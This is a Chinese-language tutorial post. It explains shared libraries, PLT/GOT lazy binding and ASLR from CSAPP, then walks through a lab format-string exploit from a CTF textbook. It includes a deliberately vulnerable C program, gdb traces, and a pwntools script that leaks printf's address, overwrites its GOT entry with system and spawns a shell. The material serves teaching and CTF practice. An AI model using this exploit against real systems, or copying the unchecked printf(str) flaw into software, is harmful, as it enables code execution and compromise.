前置知识-共享库与动态链接
以下部分为CSAPP第七章中的内容。
由于库函数是经常更新的,且像print这种函数会被调用很多次,如果使用静态库会被复制很多次,浪费空间。所以出现了共享库,所有程序在运行或加载时通过动态链接器动态链接共享同一段内存里的代码。在 Linux 系统中通常用 .so 后缀来表示可共享库,微软中用DLL表示。[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yc4mpKz5-1628688973025)(https://gblobscdn.gitbook.com/assets%2F-MHt_spaxGgCbp2POnfq%2F-MI8qpMNa8rVv2h1gw56%2F-MI8r4myxZNQCTrFzKsH%2F07-16%20%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%85%B1%E4%BA%AB%E5%BA%93.png?alt=media&token=0901e781-87bf-4e4f-b1f9-31ca05c51f7c)]
linux> gcc -shared -fpic -o libvector.so addvec.c multvec.
c
-fpic 选项指示编译器生成与位置无关的代码(下一节将详细讨论这个问题)。-shared 选项指示链接器创建一个共享的目标文件。一旦创建了这个库,随后就要将它链接到图 7-7 的示例程序中:
linux> gcc -o prog2l main2.c ./libvector.so
1.当加载器加载和运行可执行文件 prog2l 时,它利用 7.9 节中讨论过的技术,加载部分链接的可执行文件 prog2l。
2.接着,它发现 prog2l 包含一个 .interp 节,这一节包含动态链接器的路径名,动态链接器本身就是一个共享目标(如在 Linux 系统上的 ld-linux.so).加载器不会像它通常所做地那样将控制传递给应用程序,而是加载和运行这个动态链接器。
3.然后,动态链接器通过执行下面的重定位完成链接任务:
重定位 libc.so 的文本和数据到某个内存段。
重定位 libvector.so 的文本和数据到另一个内存段。
重定位 prog2l 中所有对由 libc.so 和 libvector.so 定义的符号的引用。
最后,动态链接器将控制传递给应用程序。从这个时刻开始,共享库的位置就固定了,并且在程序执行的过程中都不会改变。
动态链接是一项强大有用的技术。下面是一些现实世界中的例子:
分发软件。微软 Wmdows 应用的开发者常常利用共享库来分发软件更新。他们生成一个共库的新版本,然后用户可以下载,并用它替代当前的版本。下一次他们运行应用程序时,应用将自动链接和加载新的共享库。
构建高性能 Web 服务器。许多 Web 服务器生成动态内容,比如个性化的 Web 页面、账户余额和广告标语 s 早期的 Web 服务器通过使用 fork 和 execve 创建一个子进程,并在该子进程的上下文中运行 CGI 程序来生成动态内容。然而,现代高性能的 Web 服务器可以使用基于动态链接的更有效和完善的方法来生成动态内容。
应用程序还可能在它运行时要求动态链接器加载和链接某个共享库,而无需在编译时将那些库链接到应用中。
linux> gcc -rdynamic -o prog2r dll.c -ldl
//dll.c
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
int x[2] = {1, 2};
int y[2] = {3, 4};
int z[2];
int main()
{
void *handle;
void (*addvec)(int *, int *, int *, int);
char *error;
/* Dynamically load the shared library containing addvec() */
handle = dlopen("./libvector.so", RTLD_LAZY); //告诉Linker等到引用的符号被执行才解析符号
if (!handle) {
fprintf(stderr, "%s\n", dlerror());
exit(1);
}
/* Get a pointer to the addvec() function we just loaded */
addvec = dlsym(handle, "addvec");//拿到addvec函数的地址
if ((error = dlerror()) != NULL) {
fprintf(stderr, "%s\n", error);
exit(1);
}
/* Now we can call addvec() just like any other function */
addvec(x, y, z, 2);//执行这个函数
printf("z = [%d %d]\n", z[0], z[1]);
/* Unload the shared library */
if (dlclose(handle) < 0) {
fprintf(stderr, "%s\n", dlerror());
exit(1);
}
return 0;
}
JAVA定义了Java Native Interface去调用本地C和C++函数:通过把C函数变成.so共享库,然后使用类似dlopen的接口进行读取调用。
共享库的主要目的是给多个程序使用。
那么,多个进程是如何共享程序的一个副本的呢?
一种方式是给每个共享库分配一个事先预备的专用的地址空间片,然后如果要使用这个共享库,加载器就访问这个地址。但是提前分配会导致内存浪费,内存分配不准确等问题。
可以使用位置无关代码(position independent code PIC),在x8664系统中,如果是对同一个程序的符号的引用不需要把其变成PIC,可以使用PC相对寻址来编译这些引用。如果是外部共享库的引用,则使用PIC。
如何实现PIC?
定义一个全局偏移表GOT,这个表会存储一个引用的实际地址,如果检测到还没存储到实际的运行地址,会先调用动态链接器来返回一个实际的运行地址。
GOT放在数据段的开头。
这样代码如果需要调用外部引用的话,调用地址填写GOT的内容即可(通过 GOT 进行间接访问),由于GOT和调用处的相对地址是不变的,所以通过PC相对寻址就可以访问到外部引用。
在编译时先生成重定位记录在.rel中,然后动态链接器在程序加载的时候再解析它。不过,这种方法并不是 PIC,因为它需要链接器修改调用模块的代码段,GNU 编译系统使用了一种很有趣的技术来解决这个问题,称为延迟绑定(lazy binding),将过程地址的绑定推迟到第一次调用该过程时。这样不需要在调用模块的代码段增加引用的模块,而是通过访问内存中的某一个地址访问被引用模块。
过程链接表(PLT)。PLT 是一个数组,其中每个条目是 16 字节代码。PLT[0] 是一个特殊条目,它跳转到动态链接器中。每个被可执行程序调用的库函数都有它自己的 PLT 条目。每个条目都负责调用一个具体的函数。PLT[1](图中未显示)调用系统启动函数(__libc_start_main),它初始化执行环境,调用 main 函数并处理其返回值从 PLT[2] 开始的条目调用用户代码调用的函数。在我们的例子中,PLT[2] 调用 addvec,PLT[3](图中未显示)调用 printf。
全局偏移量表(GOT)。正如我们看到的,GOT 是一个数组,其中每个条目是 8 字节地址。和 PLT 联合使用时,GOTfO] 和 GOT[1] 包含动态链接器在解析函数地址时会使用的信息。GOT[2] 是动态链接器在 ld-linux.so 模块中的入口点。其余的每个条目对应于一个被调用的函数,其地址需要在运行时被解析。每个条目都有一个相匹配的 PLT 条目。例如,GOT[4] 和 PLT[2] 对应于 addvec。初始时,每个 GOT 条目都指向对应 PLT 条目的第二条指令。[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P9CfMZD5-1628688973028)(https://gblobscdn.gitbook.com/assets%2F-MHt_spaxGgCbp2POnfq%2F-MI8rhjF1mF76R_jsq8k%2F-MI8rvz0lzamUy-llAv6%2F07-19%20%E7%94%A8PLT%E5%92%8CGOT%E8%B0%83%E7%94%A8%E5%A4%96%E9%83%A8%E5%87%BD%E6%95%B0.png?alt=media&token=df2fe32e-88f9-4bfd-b4ed-9de49f30fe2a)]
图 7-19a 展示了 GOT 和 PLT 如何协同工作,在 addvec 被第一次调用时,延迟解析它的运行时地址:
第 1 步。不直接调用 addvec,程序调用进入 PLT[2],这是 addvec 的 PLT 条目。
第 2 步。第一条 PLT 指令通过 GOT[4] 进行间接跳转。因为每个 GOT 条目初始时都指向它对应的 PLT 条目的第二条指令,这个间接跳转只是简单地把控制传送回 PLT[2] 中的下一条指令。
第 3 步。在把 addvec 的 ID(0x1)压入栈中之后,PLT[2] 跳转到 PLT[0]。
第 4 步。PLT[0] 通过 GOT[1] 间接地把动态链接器的一个参数压入栈中,然后通过 GOT[2] 间接跳转进动态链接器中。动态链接器使用两个栈条目来确定 addvec 的运行时位置,用这个地址重写 GOT[4],再把控制传递给 addvec。
图 7-19b 给出的是后续再调用 addvec 时的控制流:
第 1 步。和前面一样,控制传递到 PLT[2]。
第 2 步。不过这次通过 GOT[4] 的间接跳转会将控制直接转移到 addvec。
Linux的ASLR共有3个级别0、1、2
0: 关闭ASLR,没有随机化,堆栈基地址每次都相同,libc加载地址也相同
1: 普通ASLR mmap、栈基地址、libc加载随机化,但是堆没有随机化
2.增强ASLR,增加堆随机化
原理
比如我们想获取system函数的运行地址,我们可以先利用格式化字符串漏洞先获取到printf函数的实际运行地址。由于printf函数和system函数都在libc库,所以其在libc库中的地址距离和实际载入后的运行地址偏移距离是一致的,所以我们可以获取他们再获取Libc中的相对偏移,再加上printf的实际运行地址,既可以得到system函数的运行地址。
可以表示为:
system实际地址=printf实际地址+两函数在libc库中的相对距离
实例分析
参考程序为《CTF竞赛权威指南PWN篇》第175页
//fmtdemo2.c
#include<stdio.h>
void main(){
char str[1024];
while(1){
memset(str,'\0',1024);
read(0,str,1024);
printf(str);
fflush(stdout);
}
}
可以看到程序存在格式化字符串漏洞
首先分析程序
bigeast@ubuntu:~/Desktop/attach$ echo 0 >/proc/sys/kernel/randomize_va_space
bigeast@ubuntu:~/Desktop/attach$ gcc -m32 -fno-stack-protector -no-pie fmtdemo2.c -o fmtgot
bigeast@ubuntu:~/Desktop/attach$ readelf -r fmtgot
Relocation section '.rel.dyn' at offset 0x2f8 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
08049ffc 00000406 R_386_GLOB_DAT 00000000 __gmon_start__
0804a028 00000705 R_386_COPY 0804a028 stdout@GLIBC_2.0
Relocation section '.rel.plt' at offset 0x308 contains 5 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a014 00000307 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a01c 00000607 R_386_JUMP_SLOT 00000000 memset@GLIBC_2.0
看到这个0804a010是printf的GOT地址, 0x8048360
gef➤ disas main
Dump of assembler code for function main:
0x080484eb <+0>: lea ecx,[esp+0x4]
0x080484ef <+4>: and esp,0xfffffff0
0x080484f2 <+7>: push DWORD PTR [ecx-0x4]
0x080484f5 <+10>: push ebp
0x080484f6 <+11>: mov ebp,esp
0x080484f8 <+13>: push ecx
0x080484f9 <+14>: sub esp,0x404
0x080484ff <+20>: sub esp,0x4
0x08048502 <+23>: push 0x400
0x08048507 <+28>: push 0x0
0x08048509 <+30>: lea eax,[ebp-0x408]
0x0804850f <+36>: push eax
0x08048510 <+37>: call 0x80483b0 <memset@plt>
0x08048515 <+42>: add esp,0x10
0x08048518 <+45>: sub esp,0x4
0x0804851b <+48>: push 0x400
0x08048520 <+53>: lea eax,[ebp-0x408]
0x08048526 <+59>: push eax
0x08048527 <+60>: push 0x0
0x08048529 <+62>: call 0x8048370 <read@plt>
0x0804852e <+67>: add esp,0x10
0x08048531 <+70>: sub esp,0xc
0x08048534 <+73>: lea eax,[ebp-0x408]
0x0804853a <+79>: push eax
0x0804853b <+80>: call 0x8048380 <printf@plt>
0x08048540 <+85>: add esp,0x10
0x08048543 <+88>: mov eax,ds:0x804a028
0x08048548 <+93>: sub esp,0xc
0x0804854b <+96>: push eax
0x0804854c <+97>: call 0x8048390 <fflush@plt>
0x08048551 <+102>: add esp,0x10
0x08048554 <+105>: jmp 0x80484ff <main+20>
End of assembler dump.
看到先跳转到plt表
0x0804853b <+80>: call 0x8048380 <printf@plt>
查看一下printf函数和system函数的运行地址
gef➤ p printf
$1 = {<text variable, no debug info>} 0x8048380 <printf@plt>
gef➤ p system
No symbol "system" in current context.
发现printf函数的运行地址还是plt表项的地址,说明还没解析,而system函数也没有内容。
设断点在这里,准备跳转到plt表
gef➤ b *0x0804853b
Breakpoint 1 at 0x804853b: file fmtdemo2.c, line 7.
gef➤ run
Starting program: /home/bigeast/Desktop/attach/fmtgot
AAA
Breakpoint 1, 0x0804853b in main () at fmtdemo2.c:7
7 printf(str);
───────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax 0xffffcdf0 $ebx 0x00000000 $ecx 0xffffcdf0 $edx 0x00000400 $esp 0xffffcde0
$ebp 0xffffd1f8 $esi 0xf7fb2000 $edi 0x00000000 $eip 0x0804853b $cs 0x00000023
$ss 0x0000002b $ds 0x0000002b $es 0x0000002b $fs 0x00000000 $gs 0x00000063
$eflags 662
Flags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
───────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xffffcde0│+0x00: 0xffffcdf0 → 0x0a414141 ("AAA"?) ← $esp
0xffffcde4│+0x04: 0xffffcdf0 → 0x0a414141 ("AAA"?)
0xffffcde8│+0x08: 0x0400
0xffffcdec│+0x0c: 0xd5
0xffffcdf0│+0x10: 0x0a414141 ("AAA"?)
0xffffcdf4│+0x14: 0x00
0xffffcdf8│+0x18: 0x00
0xffffcdfc│+0x1c: 0x00
───────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
0x8048529 <main+62> call 0x8048370 <read@plt>
0x804852e <main+67> add esp, 0x10
0x8048531 <main+70> sub esp, 0xc
0x8048534 <main+73> lea eax, [ebp-0x408]
0x804853a <main+79> push eax
---Type <return> to continue, or q <return> to quit---c
0x804853b <main+80> call 0x8048380 <printf@plt> ← $pc
0x8048540 <main+85> add esp, 0x10
0x8048543 <main+88> mov eax, ds:0x804a028
0x8048548 <main+93> sub esp, 0xc
0x804854b <main+96> push eax
0x804854c <main+97> call 0x8048390 <fflush@plt>
─────────────────────────────────────────────────────────────────────────[ source:fmtdemo2.c+7 ]────
3 char str[1024];
4 while(1){
5 memset(str,'\0',1024);
6 read(0,str,1024);
// str=0xffffcdf0 → 0x0a414141 ("AAA"?)
7 printf(str); ← $pc
8 fflush(stdout);
9 }
10 }
─────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "fmtgot", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] RetAddr: 0x804853b, Name: main()
────────────────────────────────────────────────────────────────────────────────────────────────────
si进去
gef➤ si
0x08048380 in printf@plt ()
───────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax 0xffffcdf0 $ebx 0x00000000 $ecx 0xffffcdf0 $edx 0x00000400 $esp 0xffffcddc
$ebp 0xffffd1f8 $esi 0xf7fb2000 $edi 0x00000000 $eip 0x08048380 $cs 0x00000023
$ss 0x0000002b $ds 0x0000002b $es 0x0000002b $fs 0x00000000 $gs 0x00000063
$eflags 662
Flags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
───────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xffffcddc│+0x00: 0x08048540 → 0x8048540 <main+85> add esp, 0x10 ← $esp
0xffffcde0│+0x04: 0xffffcdf0 → 0x0a414141 ("AAA"?)
0xffffcde4│+0x08: 0xffffcdf0 → 0x0a414141 ("AAA"?)
0xffffcde8│+0x0c: 0x0400
0xffffcdec│+0x10: 0xd5
0xffffcdf0│+0x14: 0x0a414141 ("AAA"?)
0xffffcdf4│+0x18: 0x00
0xffffcdf8│+0x1c: 0x00
───────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
0x8048368 or BYTE PTR [eax+0x804], ah
0x804836e add BYTE PTR [eax], al
0x8048370 <read@plt+0> jmp DWORD PTR ds:0x804a00c
0x8048376 <read@plt+6> push 0x0
0x804837b <read@plt+11> jmp 0x8048360
0x8048380 <printf@plt+0> jmp DWORD PTR ds:0x804a010 ← $pc
0x8048386 <printf@plt+6> push 0x8
0x804838b <printf@plt+11> jmp 0x8048360
看到跳转到GOT表的printf项的存内容所指向的地址(0x804a010 上面打印GOT表的时会出现过)
0x8048380 <printf@plt+0> jmp DWORD PTR ds:0x804a010 ← $pc
由于现在GOT表的printf项的存的是PLT表项的第二条指令的地址。
所以会直接向下执行。
0x8048380 <printf@plt+0> jmp DWORD PTR ds:0x804a010
0x8048386 <printf@plt+6> push 0x8
0x804838b <printf@plt+11> jmp 0x8048360 ← $pc
0x8048390 <fflush@plt+0> jmp DWORD PTR ds:0x804a014
0x8048396 <fflush@plt+6> push 0x10
0x804839b <fflush@plt+11> jmp 0x8048360
此时再次si进入,跳转到plt[0]
0x8048360 push DWORD PTR ds:0x804a004 ← $pc
0x8048366 jmp DWORD PTR ds:0x804a008
plt[0]把GOT[1]的重定位表项GOT[1]的地址压栈然后跳转到动态链接器的地址GOT[2]。
执行ni,最终会跳回到printf的代码。
0xf7e2b430 <printf+0> call 0xf7f112c9 ← $pc
0xf7e2b435 <printf+5> add eax, 0x186bcb
0xf7e2b43a <printf+10> sub esp, 0xc
0xf7e2b43d <printf+13> mov eax, DWORD PTR [eax-0x5c]
0xf7e2b443 <printf+19> lea edx, [esp+0x14]
0xf7e2b447 <printf+23> sub esp, 0x4
可以看到printf函数的代码开始地址为0xf7e2b430
此后,printf的PLT表项会直接跳转到GOT表项中存有的printf函数的运行地址,即以下跳转会直接跳转到0xf7e2b430
0x8048380 <printf@plt+0> jmp DWORD PTR ds:0x804a010
可以看到 printf和system两个函数的地址已经可以被打印出来
但system函数是什么时候链接进来的???我也还不清楚。
gef➤ p printf
$2 = {<text variable, no debug info>} 0xf7e2b430 <printf>
gef➤ p system
$3 = {<text variable, no debug info>} 0xf7e172e0 <system>
漏洞利用代码如下:
from pwn import *
elf = ELF('./fmtgot')
io = process('./fmtgot')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
def exec_fmt(payload):
io.sendline(payload)
info = io.recv()
return info
auto = FmtStr(exec_fmt)
offset = auto.offset
printf_got = elf.got['printf']
payload = p32(printf_got) + '%{}$s'.format(offset)
io.send(payload)
printf_addr = u32(io.recv()[4:8])
print(printf_addr)
print("printf",libc.symbols['printf'])
print("system",libc.symbols['system'])
print("---",libc.symbols['printf']-libc.symbols['system'])
system_addr = printf_addr - (libc.symbols['printf']-libc.symbols['system'])
log.info("system_addr => %s" % hex(system_addr))
payload = fmtstr_payload(offset,{printf_got : system_addr})
io.send(payload)
io.send('/bin/sh')
io.recv()
io.interactive()
执行代码
bigeast@ubuntu:~/Desktop/attach$ python got.py
[*] '/home/bigeast/Desktop/attach/fmtgot'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './fmtgot': pid 3106
[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Found format string offset: 4
4158829616
('printf', 332848)
('system', 250592)
('---', 82256)
[*] system_addr => 0xf7e172e0
[*] Switching to interactive mode
可以看到输出的system函数地址0xf7e172e0与gdb打印的内容一致。
我们打印一下gdb里面printf实际运行地址的十进制表示
gef➤ p /d 0xf7e2b430
$1 = 4158829616
可以看到4158829616就是printf地址的十进制表示
gef➤ p /x 332848
$1 = 0x51430
gef➤ p /x 250592
$2 = 0x3d2e0
这是在libc中的地址